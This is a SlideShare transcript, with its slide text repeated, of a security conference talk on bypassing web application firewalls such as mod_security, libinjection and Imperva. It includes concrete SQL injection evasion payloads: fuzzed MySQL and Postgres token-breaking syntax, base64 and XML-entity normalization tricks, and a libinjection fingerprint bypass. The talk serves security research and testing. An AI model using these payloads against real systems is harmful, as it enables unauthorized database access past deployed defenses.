SlideShare a Scribd company logo
bypassing modern web
application firewalls
@ONsec_lab, http://lab.onsec.ru
About
• Security audits of webapps since 2009
• @d0znpp twitter
• @ONsec_lab twitter
• Nice blog! http://lab.onsec.ru - [ENG]
• d0znpp[at]ONsec[dot]ru еmаi1
WTF WAF?
• Web Application Firewall
• Prevent attacks
• Attack !=Vulnerability
• Risk != Attack
SoftwareVS Hardware
• Different HTTP parsers
• Many «hardware» WAFs used Apache,
Lighttpd, Nginx forks
Implementation
• Failover bypass:
• DoS/DDoS WAF for bypass it- why not?!
• What happens with traffic when your
filter is overloaded?
• XML, regexp, token bombs for this
• Not so silently, right? :)
WAF work stages
• Parse HTTP packet from client (web server
to this in general case)
• Determine rules that must be applied to
current URL/client/hostname/etc
• Normalize data (2-nd urldecode, base64,
etc)
• Do detection logic (such as regexpr)
• Make detection decision (true/false/score)
WAF work stages
• Parse HTTP packet from client (web server
to this in general case)
• Determine rules that must be applied to
current URL/client/hostname/etc
• Normalize data (2-nd urldecode, base64,
etc)
• Do detection logic (such as regexpr)
• Make detection decision (true/false/score)
Protocol level bug
looks like abyss
Parse HTTP packets
• First read: «Protocol-Level Evasion of Web
Application Firewalls», Ivan Ristic, BH-
US-2012
• Nice yesterday bypass Imperva by
@webpentest during PHDays WAF bypass
contest: Content-Type: invalid :)))
• Classic example - HTTP Parameter
Pollution
• Are you sure that WAF’s and webapp’s
HTTP protocols are the same?
WAF work stages
• Parse HTTP packet from client (web server
to this in general case)
• Determine rules that must be applied to
current URL/client/hostname/etc
• Normalize data (2-nd urldecode, base64,
etc)
• Do detection logic (such as regexpr)
• Make detection decision (true/false/score)
Data normalization
level bug looks like
tunnel
Data normalization
• Format parsers, for example:
• base64
• xml
• JSON
• Are you sure that WAF’s and webapp’s
parsers are the same?
Data normalization
• mod_security, t:base64decode
• decode string until first = char
• PHP, base64_decode($strict=false)
• decode whole string
• Attack vector
• YWFh=attackhere
• Use t:base64DecodeExt!
Data normalization
• Yet another example from yesterday
PHDays WAF bypass contest - Imperva
XML decoding
• First decode XML, that validate attacks
• XML input was not set up as XML type in
WAF
• Put attack as XML-encoded data (entities)
to bypass regexpr: union select 123
WAF work stages
• Parse HTTP packet from client (web server
to this in general case)
• Determine rules that must be applied to
current URL/client/hostname/etc
• Normalize data (2-nd urldecode, base64,
etc)
• Do detection logic (such as regexpr)
• Make detection decision (true/false/score)
Detection logic bug
looks like ninja
Detection logic
• Regular expressions (mod_security, etc)
• Tokenizers (libinjection)
• ...
SQL syntax
• First read this works:
• http://websec.wordpress.com/tag/sql-
obfuscation/
• http://www.slideshare.net/nickgsuperstar/
new-techniques-in-sql-obfuscation
• Obfuscated vector is more than welcome!
• Try to exploit
SQL syntax - time to
fuzzing!
• SELECT{$P1} 1 FROM...
• ...UNION{$P2}FROM...
• SELECT VERSION{$P3}()
• SELECT{$P4}VERSION{P4}()
• SELECT 1{P5}BAD
MySQL: the classics
• SELECT{U} 1 FROM
• ...UNION{U}FROM...
• SELECT VERSION{U}()
• {U} = [0x09,0x0A-0x0D,0x20,0xA0]*
• Fuzzed only 1-bytes sequences, not /**/, etc
MySQL: time to fuzzing!
• SELECT{F}VERSION{F}()
• SELECT 1{D}BAD
• {F} = {U} + 0x60 (backquote `)
• {D} = # + 0x60
• Have a fun with regexp:
• select`version` ( )
• ... where id=’1’`’ and ... - commented now
MySQL: break tokens!
• SELECT{O}1 FROM test
• {O} = [-+!~@]
• SELECT 1{W}FROM test;
• {W} = [.d?|ed]
• Part of this discovered during our WAF
bypass contest last year by @Black2Fan
MySQL: break tokens!
• SELECT-1e1FROM test
• SELECT~1.FROM test
• SELECTNFROM test
• SELECT@^1.FROM test
• SELECT-id-1.FROM test
• all tested on MySQL 5.1.66-0-squeeze1
Postgres: the classics
• SELECT{U} 1 FROM
• ...UNION{U}FROM...
• SELECT VERSION{U}()
• {U} = [0x09,0x0A,0x0C,0x0D,0x20]*
• Fuzzed only 1-bytes sequences, not /**/, etc
Postgres: time to fuzz!
• SELECT{F}VERSION{F}()
• SELECT 1{D}BAD
• {F} = {U} + 0x22 (doblequote ‘’)
• {D} = # + 0x22
• Have a fun with regexp:
• select’’version’’ ( )
• ... where id=’1’`’ and ... - commented now
Postgres: break tokens!
• SELECT{O}1 FROM test
• {O} = [.-+!~@] - @ is absolute operator
• SELECT 1{W}FROM test;
• {W} = [.d?|ed|] - nothing is also OK!
Postgres: break tokens!
• SELECT-1ROM test
• SELECT.1FROM test
• SELECT~1FROM test
• SELECT-id-1FROM test
• SELECT-id-1FROM test
• all tested on PostgreSQL 9.2.4
Time to exploit!
• mod_security
• libinjection
• others?
mod_security
• CRS (https://github.com/SpiderLabs/owasp-
modsecurity-crs)
• base_rules
• many regular expressions
mod_security
• ?id=select id from test
• ?id=select-id-1.from test
Message: Access denied with code 403 (phase 2). Pattern match "(?i:(?:unions*?(?:all|
d i s t i n c t | [ ( ! @ ] * ? ) ?   s * ? [ ( [ ] * ?   s * ? s e l e c t   s + ) | ( ? :   w +   s + l i ke   s + [  " ' `
xc2xb4xe2x80x99xe2x80x98])|(?:likes*?["'`xc2xb4xe2x80x99xe2x80x98]%)|
(?:["'`xc2xb4xe2x80x99xe2x80x98]s*?likeW*?["'`xc2xb4 ..." at ARGS:id. [file "/
opt/modsecurity/rules/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line
"223"] [id "981245"] [msg "Detects basic SQL authentication bypass attempts 2/3"] [data
"Matched Data: select id from found within ARGS:id: select id from test"] [severity
"CRITICAL"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"]
mod_security
• ?id=1 or 1=1 or
• ?id=1 or true or
Message: Access denied with code 403 (phase 2). Pattern match "(?i:([s'"`
 x c 2  x b 4  x e 2  x 8 0  x 9 9  x e 2  x 8 0  x 9 8   (   ) ] * ? ) ( [   d   w ] + + ) ( [   s '  " `
xc2xb4xe2x80x99xe2x80x98()]*?)(?:(?:=|<=>|r?like|soundss+like|regexp)([s'"`
xc2xb4xe2x80x99xe2x80x98()]*?)2|(?:!=|<=|>=|<>|<|>|^|iss+not|not ..." at
A R G S : i d . [ fi l e " / o p t / m o d s e c u r i t y / r u l e s / b a s e _ r u l e s /
modsecurity_crs_41_sql_injection_attacks.conf"] [line "77"] [id "950901"] [rev "2"] [msg
"SQL Injection Attack: SQL Tautology Detected."] [data "Matched Data: 1=1 found within
ARGS:id: 1 or 1=1 or "] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.7"] [maturity "9"]
[accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/
WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/
6.5.2"]
libinjection
• Token based detection
• No more regexp!
• Fingerprint for each attack 1-5 tokens
sequence
• 14 token types, 14^5+14^4+14^3+14^2+14
~= 580k possible fingerprints
• Is it enough to block all SQLi?
libinjection
• Bytes obfuscation doesn’t works now
• But...
• What happens if you missed some tokens?
Attack #1. Missed
token / fingerprint
• As fuzzed above ` 0x60 byte can be used as
a comment in MySQL and also as function
quotes
• ' into outfile 'asd' --
• block - skksc
• ' into outfile 'asd' `
• bypass - skksn
Attack #2.Token
obfuscation
• Find any unblocked fingerprint
• Obfuscate your attack to produce the same
fingerprint
• Fingerprint have only 5 tokens
• Need to exploit anti-obfuscation logic (1+1
and others hardcoded token combinations)
Attack #2.Token
obfuscation
• Fingerprint «v1111» looks like safe
• @a1a2a3a4 - variable but fingerprint of this
string is «v», no numeric token here
• @ф1й2у3ц4 - is valid variable for MySQL,
but produce fingerprint «v1111»
• @ф1й2у3ц4 union select ... produce
fingerprint «v1111» also :)
Some stats
• Hacking WAFs since 2009
• About 50 different implementations
• About 10 different engines
• Time to hack:
• min: 3 min
• max: 19 hours
• average: 1hour
Questions?
• @d0znpp twitter
• @ONsec_lab twitter
• Nice blog! http://lab.onsec.ru - [ENG]
• d0znpp[at]ONsec[dot]ru еmаi1

More Related Content

Lie to Me: Bypassing Modern Web Application Firewalls

  • 1. bypassing modern web application firewalls @ONsec_lab, http://lab.onsec.ru
  • 2. About • Security audits of webapps since 2009 • @d0znpp twitter • @ONsec_lab twitter • Nice blog! http://lab.onsec.ru - [ENG] • d0znpp[at]ONsec[dot]ru еmаi1
  • 3. WTF WAF? • Web Application Firewall • Prevent attacks • Attack !=Vulnerability • Risk != Attack
  • 4. SoftwareVS Hardware • Different HTTP parsers • Many «hardware» WAFs used Apache, Lighttpd, Nginx forks
  • 5. Implementation • Failover bypass: • DoS/DDoS WAF for bypass it- why not?! • What happens with traffic when your filter is overloaded? • XML, regexp, token bombs for this • Not so silently, right? :)
  • 6. WAF work stages • Parse HTTP packet from client (web server to this in general case) • Determine rules that must be applied to current URL/client/hostname/etc • Normalize data (2-nd urldecode, base64, etc) • Do detection logic (such as regexpr) • Make detection decision (true/false/score)
  • 7. WAF work stages • Parse HTTP packet from client (web server to this in general case) • Determine rules that must be applied to current URL/client/hostname/etc • Normalize data (2-nd urldecode, base64, etc) • Do detection logic (such as regexpr) • Make detection decision (true/false/score)
  • 9. Parse HTTP packets • First read: «Protocol-Level Evasion of Web Application Firewalls», Ivan Ristic, BH- US-2012 • Nice yesterday bypass Imperva by @webpentest during PHDays WAF bypass contest: Content-Type: invalid :))) • Classic example - HTTP Parameter Pollution • Are you sure that WAF’s and webapp’s HTTP protocols are the same?
  • 10. WAF work stages • Parse HTTP packet from client (web server to this in general case) • Determine rules that must be applied to current URL/client/hostname/etc • Normalize data (2-nd urldecode, base64, etc) • Do detection logic (such as regexpr) • Make detection decision (true/false/score)
  • 11. Data normalization level bug looks like tunnel
  • 12. Data normalization • Format parsers, for example: • base64 • xml • JSON • Are you sure that WAF’s and webapp’s parsers are the same?
  • 13. Data normalization • mod_security, t:base64decode • decode string until first = char • PHP, base64_decode($strict=false) • decode whole string • Attack vector • YWFh=attackhere • Use t:base64DecodeExt!
  • 14. Data normalization • Yet another example from yesterday PHDays WAF bypass contest - Imperva XML decoding • First decode XML, that validate attacks • XML input was not set up as XML type in WAF • Put attack as XML-encoded data (entities) to bypass regexpr: &#x75;nion select 123
  • 15. WAF work stages • Parse HTTP packet from client (web server to this in general case) • Determine rules that must be applied to current URL/client/hostname/etc • Normalize data (2-nd urldecode, base64, etc) • Do detection logic (such as regexpr) • Make detection decision (true/false/score)
  • 17. Detection logic • Regular expressions (mod_security, etc) • Tokenizers (libinjection) • ...
  • 18. SQL syntax • First read this works: • http://websec.wordpress.com/tag/sql- obfuscation/ • http://www.slideshare.net/nickgsuperstar/ new-techniques-in-sql-obfuscation • Obfuscated vector is more than welcome! • Try to exploit
  • 19. SQL syntax - time to fuzzing! • SELECT{$P1} 1 FROM... • ...UNION{$P2}FROM... • SELECT VERSION{$P3}() • SELECT{$P4}VERSION{P4}() • SELECT 1{P5}BAD
  • 20. MySQL: the classics • SELECT{U} 1 FROM • ...UNION{U}FROM... • SELECT VERSION{U}() • {U} = [0x09,0x0A-0x0D,0x20,0xA0]* • Fuzzed only 1-bytes sequences, not /**/, etc
  • 21. MySQL: time to fuzzing! • SELECT{F}VERSION{F}() • SELECT 1{D}BAD • {F} = {U} + 0x60 (backquote `) • {D} = # + 0x60 • Have a fun with regexp: • select`version` ( ) • ... where id=’1’`’ and ... - commented now
  • 22. MySQL: break tokens! • SELECT{O}1 FROM test • {O} = [-+!~@] • SELECT 1{W}FROM test; • {W} = [.d?|ed] • Part of this discovered during our WAF bypass contest last year by @Black2Fan
  • 23. MySQL: break tokens! • SELECT-1e1FROM test • SELECT~1.FROM test • SELECTNFROM test • SELECT@^1.FROM test • SELECT-id-1.FROM test • all tested on MySQL 5.1.66-0-squeeze1
  • 24. Postgres: the classics • SELECT{U} 1 FROM • ...UNION{U}FROM... • SELECT VERSION{U}() • {U} = [0x09,0x0A,0x0C,0x0D,0x20]* • Fuzzed only 1-bytes sequences, not /**/, etc
  • 25. Postgres: time to fuzz! • SELECT{F}VERSION{F}() • SELECT 1{D}BAD • {F} = {U} + 0x22 (doblequote ‘’) • {D} = # + 0x22 • Have a fun with regexp: • select’’version’’ ( ) • ... where id=’1’`’ and ... - commented now
  • 26. Postgres: break tokens! • SELECT{O}1 FROM test • {O} = [.-+!~@] - @ is absolute operator • SELECT 1{W}FROM test; • {W} = [.d?|ed|] - nothing is also OK!
  • 27. Postgres: break tokens! • SELECT-1ROM test • SELECT.1FROM test • SELECT~1FROM test • SELECT-id-1FROM test • SELECT-id-1FROM test • all tested on PostgreSQL 9.2.4
  • 28. Time to exploit! • mod_security • libinjection • others?
  • 30. mod_security • ?id=select id from test • ?id=select-id-1.from test Message: Access denied with code 403 (phase 2). Pattern match "(?i:(?:unions*?(?:all| d i s t i n c t | [ ( ! @ ] * ? ) ? s * ? [ ( [ ] * ? s * ? s e l e c t s + ) | ( ? : w + s + l i ke s + [ " ' ` xc2xb4xe2x80x99xe2x80x98])|(?:likes*?["'`xc2xb4xe2x80x99xe2x80x98]%)| (?:["'`xc2xb4xe2x80x99xe2x80x98]s*?likeW*?["'`xc2xb4 ..." at ARGS:id. [file "/ opt/modsecurity/rules/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "223"] [id "981245"] [msg "Detects basic SQL authentication bypass attempts 2/3"] [data "Matched Data: select id from found within ARGS:id: select id from test"] [severity "CRITICAL"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"]
  • 31. mod_security • ?id=1 or 1=1 or • ?id=1 or true or Message: Access denied with code 403 (phase 2). Pattern match "(?i:([s'"` x c 2 x b 4 x e 2 x 8 0 x 9 9 x e 2 x 8 0 x 9 8 ( ) ] * ? ) ( [ d w ] + + ) ( [ s ' " ` xc2xb4xe2x80x99xe2x80x98()]*?)(?:(?:=|<=>|r?like|soundss+like|regexp)([s'"` xc2xb4xe2x80x99xe2x80x98()]*?)2|(?:!=|<=|>=|<>|<|>|^|iss+not|not ..." at A R G S : i d . [ fi l e " / o p t / m o d s e c u r i t y / r u l e s / b a s e _ r u l e s / modsecurity_crs_41_sql_injection_attacks.conf"] [line "77"] [id "950901"] [rev "2"] [msg "SQL Injection Attack: SQL Tautology Detected."] [data "Matched Data: 1=1 found within ARGS:id: 1 or 1=1 or "] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.7"] [maturity "9"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/ WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/ 6.5.2"]
  • 32. libinjection • Token based detection • No more regexp! • Fingerprint for each attack 1-5 tokens sequence • 14 token types, 14^5+14^4+14^3+14^2+14 ~= 580k possible fingerprints • Is it enough to block all SQLi?
  • 33. libinjection • Bytes obfuscation doesn’t works now • But... • What happens if you missed some tokens?
  • 34. Attack #1. Missed token / fingerprint • As fuzzed above ` 0x60 byte can be used as a comment in MySQL and also as function quotes • ' into outfile 'asd' -- • block - skksc • ' into outfile 'asd' ` • bypass - skksn
  • 35. Attack #2.Token obfuscation • Find any unblocked fingerprint • Obfuscate your attack to produce the same fingerprint • Fingerprint have only 5 tokens • Need to exploit anti-obfuscation logic (1+1 and others hardcoded token combinations)
  • 36. Attack #2.Token obfuscation • Fingerprint «v1111» looks like safe • @a1a2a3a4 - variable but fingerprint of this string is «v», no numeric token here • @ф1й2у3ц4 - is valid variable for MySQL, but produce fingerprint «v1111» • @ф1й2у3ц4 union select ... produce fingerprint «v1111» also :)
  • 37. Some stats • Hacking WAFs since 2009 • About 50 different implementations • About 10 different engines • Time to hack: • min: 3 min • max: 19 hours • average: 1hour
  • 38. Questions? • @d0znpp twitter • @ONsec_lab twitter • Nice blog! http://lab.onsec.ru - [ENG] • d0znpp[at]ONsec[dot]ru еmаi1